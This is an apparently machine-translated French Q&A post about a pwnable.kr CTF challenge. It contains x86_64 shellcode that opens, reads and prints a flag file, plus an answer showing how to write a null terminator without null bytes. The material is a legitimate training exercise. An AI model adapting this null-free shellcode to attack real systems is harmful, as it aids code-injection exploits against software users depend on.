2016-12-17 1 views
-1

J'essaie de résoudre une tâche CTF à partir de pwnable.kr (bouteille toddlers, asm) dans laquelle je dois écrire un "shellcode", qui va ouvrir, lire et écrire le contenu du fichier (contenant le drapeau).Traitement des chaînes dans le shellcode

Mon code est le suivant:

global _start 

section .text 

_start: 
    jmp mesg 
    shellcode: 
    ; open 
    pop rdi ; rdi points to file_name and trash 
    xor rsi, rsi 
    mov al, 2 ; sys_open 
    syscall 

    ; read 
    mov rdi, rax 
    xor rax, rax ; sys_read 
    lea rsi, [rsp] 
    mov dl, 0x20 
    syscall 

    ; write 
    mov dl, al ; bytes read 
    xor rax, rax 
    mov al, 1 ; sys_write 
    mov dil, 1 ; stdout 
    lea rsi, [rsp] 
    syscall 

    ; crash 
    xor ebx, ebx 
    xor eax, eax 
    div ebx 

mesg: 
    call shellcode 
    db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 00 
section .data 

0 En divisant par est là pour arrêter l'exécution et éviter les boucles avec call shellcode

La longue chaîne est le nom du fichier contenant le drapeau.

j'ai trouvé le truc avec POPING adresse de ficelle dans un registre ici: Linux Shellcode "Hello, World!"

Mon problème est le suivant: le nom du fichier est nulle fin non. Par conséquent, lorsque sys_open est appelé, le nom du fichier contient la corbeille après la chaîne actuelle.

J'ai essayé de faire someting comme:

xor al, al 
mov byte [rdi + 464], al 

après bouillonner dans rdi à insérer manuellement NULL, mais je ne peux pas me débarrasser de NULL de bytecode (le shellcode sera lu à partir de stdin, de sorte que c'est un problème).

Quelle est la meilleure façon de faire face à cela?

Architecture: x86_64

Répondre

1

De nombreuses façons d'écrire 0 octet code libre. Un exemple:

xor eax, eax 
mov al, 116 
mov byte [rdi+rax*4],ah